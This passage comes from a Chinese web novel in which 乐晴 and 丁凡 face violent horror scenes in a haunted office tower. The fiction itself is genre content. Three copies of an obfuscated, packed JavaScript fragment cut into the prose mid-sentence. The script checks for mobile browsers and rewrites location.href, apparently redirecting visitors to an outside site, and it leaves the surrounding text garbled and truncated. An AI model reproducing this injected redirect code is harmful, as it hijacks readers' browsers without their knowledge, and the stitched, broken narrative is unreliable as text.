想到这里，丁凡忽然后退一步，有些警惕地盯着乐晴。 乐晴：“……” 如果她都不安全，那这个世界可以完蛋了。 当然，站在丁凡的视角，这个世界都不可以相信。 “好了，丁凡哥，我们现在的目的是，离开这里。”乐晴忽然想起来迷雾之镜的用处，“丁凡哥，怎么兑换砖头？” 她的命珠不多，兑换不了几块砖头，但是来都来了。 “任务成功，你所拥有的命珠会自动兑换成相应数量的砖头。” 原来是这样。 乐晴现在就是后悔，光顾着跟贺以辛到处赚命珠，忘了问世界的具体设定，要不是在这里遇上丁凡，她还不知道要像无头苍蝇一样瞎逛多久。 “丁凡哥，你在哪个部门？你们那边有没有什么诡异的事情发生？” 丁凡提起自己胸前的工牌：“IT部，诡异的事情……所有人都在写代码，算不算？” 暂时不算。 “更诡异的是，他们不管摁多少次键盘，电脑上都不会多出来一个字符。我也检查过了，鼠标、键盘的线连着电脑呢，就是打不出来，而且满屏幕跳动的都是马赛克，我一个字看不清楚。” 这是真诡异。 “……算，当然算。” 和乐晴他们部门的问题一样，不管多努力，永远完不成那项工作。 “对了，丁凡哥，你在18楼见到的是什么人？” “总裁秘书。” “没见到总裁吗？” “总裁在办公室里，我只能把文件交给秘书，再由秘书传达。” 看来，见到老板也不是一件容易的事。 乐晴默默在想，她有枪在手，应该能崩了老板，但是在此之前，她得先升职。 “乐晴，一直都是你在问我，该我问你了。”丁凡看着乐晴，“你的任务是什么？” “离开这栋大楼。” “仅此而已？” “仅此而已。” 她当然不会说实话，谁知道丁凡是不是内鬼？再说了，万一这个丁凡是幻相，存在的目的是阻拦她完成任务，怎么办？ 情况特殊，她相信，就算丁凡知道她骗了他，也不会生气的。 丛林法则嘛。 还没等乐晴问丁凡的任务，张召的人未到，声音先传过来了。 “乐晴，你旷工是不是，信不信老子开了你！” 这可不行，她的任务还没完成呢。 乐晴赶紧往外跑。 “丁凡哥，我们有线索再联络？” 丁凡笑着挥了挥手：“好。” - 回到办公室，乐晴揉着快起茧子的耳朵，张召就在旁边骂她。 具体骂了些什么乐晴记不清了，反正那些上司骂人的话都差不多，就当他放屁了。 可就在张召说到“老板会把你们全都解雇”的时候，整个办公室的员工全部开始抱头尖叫，他们把双腿蜷缩起来收到胸前，尖锐的声音几乎要把乐晴的耳膜震破，头顶的白炽灯发出“滋滋”的电流声，开始微微晃动。 耳边传来玻璃破裂的声音和男人痛苦嘶叫的声音。 灯爆炸了，炸开的碎片刺进了血肉。 18. 混凝土牢笼（三） 吊着的白炽灯摇晃起来，灯光变成白色马赛克，晃得她有点想吐。 这什么情况，地震？ 乐晴来不及思考太多，绕过被玻璃扎成刺猬的张召，往楼道的方向跑。 如果真是地震，这里是六楼，跑下去还是有可能的，就是不知道怎么突破那些保安。 可是……乐晴又忍不住回头。 不大可能是地震，应该是那些员工的尖叫声导致了这一系列乱象。 乐晴忽然冷静下来，停下脚步，看着办公区域那群缩成一团，捂耳尖叫的人。 他们都是听到了“老板……解雇”之后，才变成这个样子的，而邹新伊也在说到“18楼”的相关信息后丧失理智。 这个18楼，来头大了。 - 金字塔内，第七小组的人忙作一团。白天出任务的时候，宁言柯还跟她说，晚上回去一起煮个小火锅，可没想到，会出这么严重的事情。 他们人不见了，乐晴和丁凡还是在贺以辛的眼皮子底下消失的。 除此之外，姚芸方也莫名其妙消失了。 事情紧急，夏夏被临时任命为第七小组组长，带人搜寻失踪者。 可去哪儿找呢？ 夏夏看着已经黑透的树林，叹了一口气。 能在贺以辛眼皮子底下消失可不是一件简单的事情，现在能找到的办法也只有一个了。 夏夏是第七小组的副组长，平时做的也都是辅助。简单来说，是组长的助理，任何组织不想或是不需要亲自动手的事情，都可以交给夏夏。 说得残忍点，夏夏是组长未来的替补。 如果哪天组长离职了，升职了，或者死了，夏夏就会成为第七小组的组长，接替组长的所有工作。 虽然在这里，她知道死亡不过是迟早的事情，尤其是对他们安全部的人来说，可真要坦然面对，倒也没那么容易。 贺以辛是他的师傅，是带她进入安全部的人。 他第一次带她出任务的时候就告诉她，进入金字塔，要学会的第一课其实是死亡。 接受死亡。 接受自己的，还有队友的，死亡。 她总以为自己整天大大咧咧的，对死亡这事儿不怎么计较了，可当她知道他们突然失踪，生死不明的时候，还是不免难过。 一个是把她当亲妹妹的宁言柯，一个是带她适应生活的姚芸方，一个是跟她打打闹闹的丁凡，一个是只有一面之缘的乐晴。 夏夏的心理无法承受那么多人的生死未卜，可如今这个样子，她也没办法。 可在这里找到失踪的人，如同大海捞针，夏夏能想到的只有一个办法。 夏夏让其他队员组队搜寻，自己则一头扎进了野猪林。 贺以辛说过，先知经常出没在野猪林。 贺以辛为了减少先知的痛苦，让先知自由行动，自己背负了更多的责任。 现在，她想尝试一下能不能唤醒先知，问一问先知，或许先知可以告诉她，在哪里可以找到乐晴他们。 即使代价很惨痛，但找到乐晴是不得不做的。 野猪林是个可怕的地方，她在这里看到过无数幻影，其中就包括无数个她，混在人群里搬砖头的奴隶，站在金字塔顶端握着曲柄赫卡权杖的法老，被白布裹着塞进人形棺的木乃伊……太多了，以至于很长一段时间她都无法确定自己是谁，直到贺以辛告诉她。 夏夏穿过一条长长的小路，从上面的枯枝落叶上踩过，拐进一片枫树林。 枫树耐寒喜凉爽，但成年树需要足够的光照，叶子才会变得火红。 在这个漆黑的地方，竟然也有火红的枫叶，上面还落了很多孢子。 不过孢子并不是把它们当作载体，而是交通工具，它们只是暂时停留。找到了合适的载体，它们就会离开交通工具。 夏夏小心地避开漂浮的孢子。 先知就在一棵大枫树下。 “先知大人。” 先知抬起头，从凌乱的头发中露出一双明亮的眼睛：“夏夏！” 他这是恢复神智了。 夏夏跑过去，蹲在先知旁边。 “先知大人，夏夏有事情要找你帮忙。” “因为乐晴？” “是。” 先知知晓一切，不用她说，先知就已经知道她来的目的了，除非先知不清醒。 “夏夏，乐晴在迷雾之镜。” “迷雾之镜？” “是的，迷雾之镜。”先知偏头看夏夏，“你可想好了，如果去找她，你就没有回头路了。” “我知道，可是有些事情，需要在迷雾之镜里完成。” 贺以辛把她带回来的时候，她就知道了自己的结局。 贺以辛告诉她，若一个星球即将灭亡，人类延续下去有两种方式：一，拯救星球；二，寻找新的星球。 就像那些原本的载体消亡的孢子。 载体要消亡了，可是生命还存在，它们无法让蘑菇死而复生，于是它们去寻求另一个载体。 可是，他们的世界好像是一个被透明罩子框起来的球，甚至不是一个球，只是一张白纸，他们是被框在这个空间里的蚂蚁。 夏夏直觉认为这里的文明足够发达，可是他们无法离开这片土地，无法越过海洋，无法穿过云层。 所以，要拯救这个星球，就只能让这个能源即将枯竭的星球起死回生。 “先知大人。”夏夏帮先知把头顶的枫叶摘下来，又把头发捋直，顺到耳后，这才告别先知，“先知大人，不要难过，我会回来的。” “夏夏，我会想念你的。” 告别了先知，夏夏回到金字塔，找到贺以辛。 “贺队。” “夏夏。” “贺队，你不用伤感，这只是一场短暂的告别，甚至不算告别，我会很快以另一种方式回到这里。” 夏夏时常觉得自己像个机器人，可是又觉得好笑，她本来也不是一个完全的人。 “夏夏，这是属于你的。”贺以辛递给夏夏一枚徽章。 这是先知曾经送给夏夏的徽章。 可惜也不是完全体。 夏夏拿过徽章，身上的伪装也随之消失。 为了不让人认出来，贺以辛给她加了一层伪装，也就是以幻相示人。 除了贺以辛和先知，没有人知道她的本来面目。 拿到徽章，也就是拿掉了那层伪装。 “去吧。” “是，贺队。” -35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271281|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乐晴跑到九楼的时候，遇到了往下走的丁凡。 乐晴有些奇怪。 两人分开之后，丁凡不是应该回到自己的工位吗，为什么现在会从楼上下来？他们分开之后，丁凡又去了哪儿？ 乐晴总觉得丁凡是来拦她的。 “丁凡哥，你怎么也在这里？” 丁凡没立刻回答，而是抓着乐晴的手往楼下跑：“不要命了，这种情况还往楼上跑？” 她要趁这个时候去总裁办看看。 她觉得丁凡不正常，可又不能确定丁凡是真的不正常还是因为不信任她而不正常，所以只能装作没有察觉。 她不能被丁凡看出来自己心里的想法，只好跟着下楼。 “楼下保安拦着，我出不去。” 她有一把枪，保安人手一把枪，跟他们火拼显然没有必要。 “我有办法。”丁凡亮出手里的通行证。 蓝色的壳子，里面是一张空白的卡片，通行证和工牌长得差不多，但是他们的工牌没有进出权限。 跑到一楼，整栋大楼还在摇晃，但守在闸机外面的保安跟察觉不到一样，只顾着盯里面的人。 丁凡刷了通行证，闸机闪了绿灯，门“咔哒”一声开了。 乐晴跟在丁凡后面，大摇大摆当着保安的面走出闸机。 这群保安，还真是只认通行证不认人。 走出大楼，乐晴终于呼吸到了新鲜空气——即使一口空气里至少一半是汽车尾气，但也比办公楼里换气口放进来空气和写字楼里千篇一律的香薰味好闻。 大楼位于市中心的繁华街道，前面是宽阔的马路，汽车络绎不绝，马路对面走过一段天桥，就是高耸入云的电视塔。 这个点还是下午，电视塔一片寂静。 旁边有游客举着相机路过，说要去哪个小巷子里的餐馆吃个饭，那里的蛋黄排骨好吃，晚上去江边看电视塔的灯光秀。 阳光明媚，乐晴只觉得毛骨悚然。 这不是她在现实里经历过的吗？ 离职那天，也是一个下午。 她交接好了工作，跟人力资源部的人沟通好，带着为数不多的私人物品提前下班了。 走出大楼，一切恍如隔世。 马路上车辆川流不息，游客不少。在写字楼里待久了，她仿佛觉得工作时间室外是不该出现人的，只有在上下班的时间人才被允许外出。 她只不过是被困在工作里了。 阳光只有在失去工作之后才照在她的身上。 “乐晴，你还好吗？” 丁凡的声音把她的思绪拉回来。 “没事。” 乐晴忽然在想，这个迷雾之镜，是不是就是现实的映射？她在现实中发生过的事情，都会在这里添油加醋再上演一遍。 迷雾之镜又怎么会知道她过去的事情，能读取她的记忆吗？ 可如果是这样，迷雾之镜岂不是可以知道她的所有信息？包括她在现实中的和来到这个世界之后的。 如果这么说，迷雾之镜的目的似乎并不是置他们于死地，而是给了他们很多生机，否则，它完全可以利用这些创造一个永远不可能离开的副本。 “你不是说，离开大楼你的任务就完成了吗？” 19. 混凝土牢笼（四） 丁凡的声音发冷，乐晴的后背更是发凉。 她沉浸在回忆里，忘了随口说的谎了。 不过乐晴只是短暂停顿：“你觉得，我们真的离开了吗？” 乐晴把问题抛了回去，可丁凡也没办法回答这个问题。 他的确不知道自己是不是真的离开大楼了。 乐晴回头，看着那栋高耸入云的大厦。 方方正正的玻璃幕墙在此刻变成了铁栏杆，把所有人困在里面。 出了那栋楼就是被无罪释放了么？显然并不是。 他们是“逃犯”。 虽然这个通关条件是瞎掰的，但乐晴想，离开大楼和解雇老板，某种程度上是一样的。 以他们员工的身份，压根没办法合理合法离开大楼，但老板没了就不一定了。 乐晴又想，他们的罪是从哪里来？与生俱来？生来就要上班，把自己有限的生命献祭给老板，幸运点活到垂暮，拿着入不敷出的退休金，在还了一辈子即将变成危楼的鸽子笼里等待死亡，不幸的在壮年就失业了，然后开始流浪者一般的生活。 人类生而有罪吗？如果是，那创造第一个人类的神貌似罪孽更深，祂才是始作俑者。 她不知道神是不是存在，但导致他们痛苦的老板显然存在。 老板真该死啊。乐晴这么想。 丁凡显然不知道乐晴在想什么，只是悲哀地看着办公楼。 “乐晴，我们回去吧。” “嗯？” 他脑子被太阳一晒，把水晒出来了？ “你说得对，我们真的离开了吗？”丁凡垂下头，“我们得回去，找另外的办法离开。” - 走进办公室的时候，张召顶着玻璃碎片，就这么水灵灵地出现在了她的眼前。 不疼吗？乐晴很好奇。 尖锐的碎片还扎在他的皮肉里，暗红色的鲜血往下滴着，他的衣服已经被染红，走过的地方留下一路血印子。 其他的员工已经从惊恐中恢复过来，继续打字，对暗了一个角的办公室和鲜血淋漓的张召视而不见。 “你，杀人。” 张召抬起右手，食指指着乐晴，眼神逐渐变得凶戾。 “我？杀人？” 乐晴觉得好笑。 明明是他提到了老板，其他员工听到老板开始尖叫，灯才炸裂的，她一不是肇事者二不是监护人，关她什么事？也构不成不作为犯罪。如果非要定责，她最多是作为证人没有帮忙打救护车，她又不是好撒马利亚人。 “乐晴，杀人，安保部即刻逮捕凶手——” 话音刚落，办公大楼的各处开始响起尖锐的警报声，墙壁和天花板开始闪烁红色警示灯，每个员工的手还停留在键盘上打字，头却齐刷刷像自动捕捉人像的监控摄像头一样扭向乐晴。 张召的左手也抬了起来，两只手合拢，朝乐晴靠近，试图掐住她的脖子，乐晴往旁边撤了两步，张召扑空。 被囚禁的员工变成了监控，拿枪的保安也在过来的路上了，升职无望，先保命吧。 乐晴转身往楼梯间跑去。 实在不行，拿枪抵着老板的脑袋，先让他给乐晴签两份升职合同，然后毙了他，也算完成任务。 张召跟着她跑进了楼梯间。 “别走……救救我……” 乐晴知道自己应该头也不回地往楼上跑，可是她听到张召嘶哑、可怜的声音，还是忍不住放慢脚步回头看。 看见张召的时候，乐晴被吓得手一抖，脚尖踢到楼梯边缘，差点摔倒。 张召整个人都像被拆开了一样。 不是四肢被拆开，而是每一个细胞都被拆开。 张召的身躯坍缩成万千游弋的光点，那些支离的星尘裹着淡蓝色的微芒，被他稀薄的生命力牵引着，勾勒出半透明的人形轮廓。 每一粒光点都在以濒临溃散的频率震颤，似若隐若现远在光年之外的即将衰竭的星，却仍执着地维系着最后的形态。 许多画展的门票都是免费的，乐晴经常去看，一来，她喜欢看那些光怪陆离的作品，她总是很好奇，为什么那些艺术家都有那么庞大的想象力，二来，免费，不去白不去。 乐晴记得让她震撼的一种艺术形式就是马赛克画。小块的材料拼接成图案，近看是色块，远看是完整的画。 张召现在的状态就像是马赛克画上的人物，乍看上去是人，细看却发现他已经支离破碎，下一秒就要散开，融入他的星系盘。 他的生命不足以将他凝聚成一个整体。 “救救我……” 怎么救？ 她不是救世主，不是医生，连他身上被碎玻璃扎伤的创口都无法治愈，怎么能救已经变成碎片的他？ 乐晴看着他，甚至忘了自己在逃命。 没有人告诉过她，这个迷雾之镜会发生这么可怕的事情。 乐晴低头看自己抓着楼梯扶手的手，错乱间感觉自己的身体也被打散成了无数光点。 或许终有一天，她也会变成这样，一堆由光点聚合而成的物质。 “轰——” 张召爆炸了。 亿万光点弥漫开，充斥着整个楼道。 乐晴抬头，看向漫天光点。 它们是张召，或者说，它们曾经是张召。 也许等到哪天，这些物质聚合在一起，又会有一个完整的张召回来。 人，不过是一堆物质。 乐晴伸手探向一颗朝她靠近的光点。 一颗泛着红色光芒的光点。 它好像能看到乐晴，在空中一跳一跳朝她过来，忽然，乐晴好像看见那颗光点睁开了眼睛，一只蓝瞳睁开，看着她。 乐晴意识回笼，迅速转身上楼。 - 跑到14楼时，已经看不见光点了，它们停留在十楼以下，越往楼上，光点就越少，或许是飘不上来，或许是惧怕18楼的老板。 乐晴靠在墙上，调整呼吸。 楼上传来轻微的脚步声。 有人在下楼。 乐晴闪进消防门，躲在门后，握住双管枪。 “发生什么了？” “不知道，老板突然不见了。” “老板不是从来不露面吗，你怎么知道？” 对话的声音戛然而止。 他们注意到了楼梯间的不对劲。 走在前面的人穿着保安服，但和楼下守在闸机外的保安穿的不一样。 走在后面的人是丁凡。 保安贴着墙壁往楼下走，手里紧握着枪，在楼下和消防门之间来回试探。 “砰——” 保安一枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271282|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打中消防门，门瞬间破出一个洞，洞口还在冒烟。 保安在靠近消防门。 乐晴的位置不占优势，她慢慢后撤，试图找到一个拐角。 “砰——” 又是一声枪响，但是乐晴敏锐地注意到，这声枪响更闷，不是保安的枪发出的声音。 难道是丁凡？ 乐晴握住手枪，对准消防门。 消防门“吱呀”一声被拉开，先伸进来的是一只手，紧随而后的是丁凡的声音。 “乐晴？” 乐晴稍微放下一点戒备：“丁凡？” 丁凡听到乐晴的声音，松了一口气，整个人走进来。 “乐晴，你别紧张，保安被我放倒了。” “放倒了？” 乐晴的视线越过丁凡，看见倒在楼道里的保安。 他的脑后开了一个血洞，鲜血混着灰白色的内容物涌出，在楼梯上往下流淌。 他为什么没有变成光点？ 似乎看透了乐晴的疑惑，丁凡示意她放下枪：“迷雾之镜里，没有被异化的人，死去的形态就会跟普通人一样，就像这个保安。” 这个保安没有被异化，是活生生的人。 也就是说，丁凡杀了一个活生生的人？ 乐晴试图说服自己，这只是一个里世界，一切都是虚幻的。 可是对于她来说，外面的世界也是虚幻的，又或许她原本存在的世界也是虚幻的。 什么才是真的？ 可是不管是原来的世界、后来的世界还是这个里世界，她的感觉都是实实在在存在的。 她局限于自己的视角，什么都看不清。 见乐晴放下双管枪，丁凡这才靠近：“你还好吗？” 乐晴点头。 “你们刚才说，老板不见了，是什么意思？” 丁凡解释：“根据我得到的信息，老板一般都在办公室里，从不外出，她的秘书会在门外。但是我刚才发现秘书不在，就悄悄进了老板的办公室，里面一个人都没有。” 从不外出？ 就像一个镇宅之宝？ “丁凡哥，我想去老板的办公室看一看。” 她现在应该还是被通缉的状态，如果老板再不见了，她就得另找出路。 “好。”丁凡推开消防门，给乐晴绕开一条路，“你去吧，注意安全。” “丁凡哥，你不去吗？” “我晚一点到。”丁凡指着地上保安的尸体，“还得抛尸。” “……” 丁凡也听到了响彻整栋办公大楼的警报声：“你……杀了谁被通缉？” 乐晴挠了挠头：“我没杀人，是他们自己死了，你信吗？” 丁凡点头。 他进过很多次迷雾之镜，也见过很多诡异的事情，关于npc自爆，把案底强安在玩家身上这种，他也见得不少。 正因为有经验，所以他会第一时间在这个世界里找主观能动性更强的npc获取信息，比如刚才被他杀死的保安。 看见乐晴上了楼，丁凡这才拖着保安的尸体，往14楼里走。 14楼，是清洁层。 如果乐晴走过那个拐角，推开再里面的那扇消防门，她就会看见数不清堆叠着的尸体，还有覆在尸体上面，隔绝气味、消化残骸的光点。 20. 混凝土牢笼（五） 十八楼。 乐晴推开两道防火门，穿过金属包裹的过道，路过电梯口，径直走向老板的办公室。 整个十八楼都是金属地板墙壁，微微泛着光，金属板面上投射出无数个乐晴的身影。 一扇同样金属材料制成的大门微微敞开着，门外的工位堆满了文件，秘书不知去向。 乐晴推开办公室的门。 没有开灯，没有窗户，偌大的空间内只有一张铁板床、一套铁质桌椅，墙上挂着一幅画。 与其说是办公室，不如说这是一间密不透风的牢房。 丁凡说得没错，老板也不见了。 乐晴小心地拿着枪，贴着墙壁往里走。 办公桌上的电脑是关闭的，旁边摊开一份文件，文件的正中央摆着一枚徽章。 乐晴刚一走近，徽章自动弹出投影。 “贺队？” 乐晴不敢置信地看着徽章上方的投影，上面的人明显是贺以辛，背景是他的办公室。 “乐晴，丁凡是内鬼，保护好自己，别让他出来。” 投影熄灭，声音戛然而止。 丁凡？他是内鬼？ 乐晴看着投影消失的方向，脑子里有些混乱。 如果这个贺以辛是真的，他说的也是真的，那丁凡就是内鬼。可明明有很多种方式杀了她，丁凡为什么一直没动手？ 乐晴一时间不知道该相信谁。 直觉告诉她这个投影可能是假的，可直觉也告诉她，丁凡没有她想象中的那么可信。 这个世界上，值得相信的只有自己。 乐晴把枪上膛，对准那枚徽章。 “等一下！” 看见丁凡冲进来，乐晴把枪对准他。 “为什么？” 一枚徽章而已，为什么不能毁掉？ “那是我的通关条件之一！” “……” 真的假的？ 管他真的假的，乐晴把徽章塞进口袋里。 “我先保管。” “？” 乐晴收起枪：“你的通关条件还有什么？” “嗯……”丁凡挠了挠头，有些犹豫。 “不说，我现在就毁了徽章。” 反正她现在处于崩溃边缘，不知道谁的话是真的谁的话是假的。 如果这个丁凡是假的，杀了也没什么。 如果这个丁凡是内鬼，杀了更是立功。 如果这个丁凡……算了。在这里杀了人，谁会知道？ “好好好，我说！”丁凡立刻投降，“找到老板，然后成为她的秘书！” “……不信。” - 丁凡好说歹说，终于让乐晴暂且放下防备，并且愿意跟他一起找老板。 也不是因为丁凡怎么样，而是她也需要找到老板。找不到老板，她的任务也完不成。 “乐晴，对人有防备是好的，但是防备过头……容易伤到自己啊。” 听着丁凡的劝告，乐晴只当没听见。 “我们现在是合作关系，并且，你的徽章在我手里，别说这些有的没的。” 丁凡说这番话的目的是什么？无非就是让她放下警惕，跟他好好合作。 可是乐晴并不能确认丁凡的身份，并且在她看来，丁凡一定有问题。 她最烦这种被人欺骗的感觉。 “那我们说点正经的。”丁凡没再打感情牌，而是指着墙上的画，“你觉得，这幅画怎么样？” “？”话题跳转得这么快？ 乐晴的注意力转移到那幅马赛克画上。 灰白的底色，一个男人站在圆盘中央，四周还有几个小小的人。 “没什么感觉。” 不过，这幅画是不是在哪里见过？ 丁凡目光深沉，盯着那幅画：“你觉得，虚幻与现实的边界是什么？” 虚幻与现实的边界？ 没等乐晴回答，丁凡自顾自说道：“如果我说，我是在演戏呢？” 乐晴拿双管枪对准他的太阳穴：“说清楚。” 哪些是在演？ 他在金字塔，他在这里，还是所有？ 丁凡没有在意对准自己太阳穴的黑漆漆的枪口，而是看着乐晴，言之凿凿：“你讨厌别人欺骗你。” 是又怎样？ 这个世界，或者说每个世界，都充满了欺骗。 去孤儿院看望他们的“爱心人士”总是在拍了几张和蔼的照片之后就坐上豪车离开，老师只要看见勾肩搭背的学生就转过头不去看被踩在脚下的她的书包，老板只要看见虚与委蛇的下属就不管他们暗里的争斗。 明知道被欺骗，但所有人都在自我欺骗，以为看不见就是不存在，不看见就是不存在。 她讨厌被欺骗，但在某些情况下，她也只能欺骗自己，告诉自己一切虚幻都是现实。 “我觉得，现实和虚幻之间存在某种连接。” “什么意思？” 丁凡突然蹦出来的一句话让她摸不着头脑。 “万物之间都存在连接，比如生活在现实维度与地狱裂缝之间的伊格纳乌斯之嗣，它可以出现在我们的世界，就是跟着连接过来的。地狱裂缝对我们来说是虚幻的，这也可以说，现实以虚幻之间可以连接的，并且可以通过某种方式到达虚幻。” 可所谓虚幻，不就是看不见、摸不着、认为它不存在，才构成虚幻吗？一旦能感知到，虚幻就变成了现实。 乐晴暗暗想，或许虚幻向现实的转换也算是连接。 “你为什么会知道？” “因为——” 乐晴给双管枪上膛。 “……因为，是贺队告诉我的。” “……” “乐晴，我还发现，你很信任贺队。” 其实并没有。 只是在这个世界，贺以辛是权力最高的人，乐晴想要生存下去，并且生存得更好，就不得不找到一个掌握更多资源的人，并且追随他。 她暂时无法掌握自己的生活，就只能跟随一个能让她掌握自己生活的人。 贺以辛一直在骗她，某种意义上来说，她也在骗贺以辛。 “其实也没什么不好，贺队人很好，除了大是大非的事情，他会站在你的出发点上为你谋划，有什么问题可以找他参谋，最好是逼问他真相，告诉他你什么都可以接受，不想不明不白地去做一件事……” 怎么越说越离谱？乐晴看着丁凡的侧脸，觉得他好像疯了。 是不是应该尽快让他离开这里？ 丁凡话没说完，乐晴口袋里的徽章忽然发出急促的警报声。 怎么回事？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271283|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乐晴拿出徽章。 徽章的表面泛着浅浅的光泽，并无异常。 “她来了。” “谁？” 金属空间里骤然响起利器破空声。 丁凡指间闪过徽章边缘的冷光，以近乎割裂空气的速度抹向乐晴颈动脉。 乐晴腰身骤然后仰，双管枪的枪托带着沉重力道砸向对方下颌。 丁凡偏头躲过，抓住乐晴的手，扣动扳机，子弹在金属天花板上打出一个洞，子弹擦着耳廓在金属穹顶炸开蛛网状裂纹。 纷落的金属碎屑中，他钳制住乐晴的手腕，指节因过度用力泛起青白：“贺以辛有没有告诉过你，他给你的武器，都是最好的。” 没有。 但是不重要。 乐晴的肘部带着破风声撞向丁凡脊椎，借反作用力旋身侧踢精准命中膝窝。靴底与骨骼撞击的闷响未散，丁凡已被反剪双臂压跪在地，额角重重磕在金属地板上。 “你的目的到底是什么？”乐晴的枪管抵住男人后颈，声音带着微不可闻的颤抖。 身下传来低哑的笑声，丁凡的脸上露出森然笑意：“如你所见——” “抢徽章。” “明明马上我就会给你，为什么要抢？” “我怎么知道你是不是在骗我？”丁凡忽然笑出来，“乐晴，你一直觉得别人都在骗你，可是在别人看来，你也是不可信的，我凭什么相信你会把徽章给我？” 乐晴哑口。 信任只是一个假设。 如果我相信你，我会和你合作，可没有这个假设的话，我只能千方百计拿到那个东西。 到了开枪这个份上，乐晴更没办法相信丁凡了，丁凡也不可能相信乐晴。 乐晴索性抽了他的腰带，把人绑在老板的桌腿上，自己去完成任务。 系好绳结，乐晴又拽了拽，确定丁凡挣不开之后，这才放心。 “丁凡哥，你放心，等我找到老板就过来。” 比起一枪杀了，还是留着吧。 丁凡说的没错，她站在自己的立场上不信任这里的任何人，包括丁凡，可是站在丁凡的立场上，她就值得信任吗？ 迷雾之镜就是一面镜子，它会映照出每个人的样貌，包括伪装出来的。 - 在大楼里绕了一圈，乐晴甚至学着丁凡找保安打听，可依旧没得到什么有用的信息。 唯一的收获是，随着张召的爆炸，她的通缉令也没有了。 乐晴垂头丧气地坐在楼梯口。 她的任务目标：张召、不曾谋面的老板，一个死了，一个不见了。 她认识的人，丁凡，现在就是一个定时炸弹，贺以辛，或许是真的贺以辛，还说他是内鬼，要杀了他。 乐晴杀过猪，可没杀过人。 果然还是不适合这种残忍的世界呢。 “啪嗒，啪嗒……” 乐晴听到楼下有脚步声，立刻停止伤春悲秋，警惕起来。 乐晴移到扶手处往下看。 “啪嗒、啪嗒……” 人的脚步声为什么会是这样的？像是什么黏糊糊的触手拍到地上，然后抬起来，扯出丝，留下一路黏腻的痕迹。 “啪嗒、啪嗒……” 更近了。 乐晴终于看到了。 是邹新伊。 21. 混凝土牢笼（六） 邹新伊的异变始于指缝间渗出的琥珀色粘液。 那些灰褐色触须以肉眼可见的速度增殖膨胀，指关节在黏液拉伸中发出脆响。五根手指的末端探出五根黏腻的触手，像寄生藤蔓缠绕宿主般箍紧她的腕骨，像手杖一样支撑着她，将她的身体举在半空。 触手的底部还长着密密麻麻的吸盘，它们触碰地面、吸附上地面，像放风筝一样带着邹新伊往前蠕动。 邹新伊，准确来说，是被触手控制的邹新伊，抬起眼，乐晴注视着那双逐渐蒙上乳白色翳膜的眼睛。 邹新伊张开嘴，混杂着凝血块和碎肉的混合物掉出，她想说什么，却只能发出含糊不清的“嗬嗬”的声音。 “帮……我……” 乐晴终于辨认出来，邹新伊说的是“帮我”。 一个人，即使被无止尽的工作压迫得不成人样，可她依然是一个人，一个鲜活的人。 可现在，她失去了控制自己身体的能力，成了一堆血肉混合物，没有思想的触手操控着她。 那些缠绕在身体上的触手骤然收紧，勒出蛛网状的紫癜——它们显然不满载体残存意识的抵抗。 乐晴看见邹新伊脖颈处暴起的青筋正被半透明的管状物取代，仿佛有无数线虫在皮层下游走。 “我要怎么帮你？” 乐晴好像也无能为力，没有办法把她和触手分开。 触手已经攀附上她的神经和骨骼，他们现在是一体的。 “杀了我。” 乐晴的手一颤。 选择痛快的死亡还是生不如死？ 换做乐晴，她肯定选择死亡。 好死不如赖活……可邹新伊这个样子，只有快点死去和慢点死去两个选择。 “杀了我……” 触手还在操纵着邹新伊往上走，已经快碰到乐晴的脚尖了。 乐晴后退几步，狠了狠心，把双管枪对准邹新伊的头。 邹新伊麻木的脸上竟然出现了解脱的微笑。 那些蛰伏的触手突然绽开成伞状肉膜。数以百计的微型吸盘在邹新伊面部蠕动，将眼睑扯向耳后，将嘴唇缝合为肉茧，只有一颗眼球幸存。那颗布满血丝的眼球正以人类不可能达到的幅度转动，虹膜倒映着枪口的寒光。 只要头部不死，载体就能一直给它们供给养分，如果能保住头部，牺牲几只触手也无所谓，它们还会再生。 它们已经根植在神经和骨骼上。除非载体彻底毁灭，否则，它们永生。 被触手包裹着的，充血涨红的眼睛，此刻溢出了眼泪，被触手吸收。 “快！” 邹新伊发出了生命中最后痛苦的呐喊。 工作中她无法发出的声音，最终化作这一声。 “砰！” 子弹从邹新伊的眼眶打进，从她的后脑穿出。 随着身体如释重负的倒地，触手的吸盘松开她的神经和骨骼。 灰褐色触手如退潮般从皮下剥离，露出其核心——一颗球形的像神经元的本体，四周是树突一样的触手。 像变异的神经元。 触手抛弃了载体，开始拖动神经元往上狂奔。 它要寻找新宿主吗？ 乐晴顾不上处理邹新伊的尸体，下意识拿枪对准它。 可是触手抛弃载体之后异常灵活，在楼道间逃窜，偶尔还会缠在乐晴的脚踝上，让她无从下手。子弹打不中它，触手还会团起来保护球形的本体。 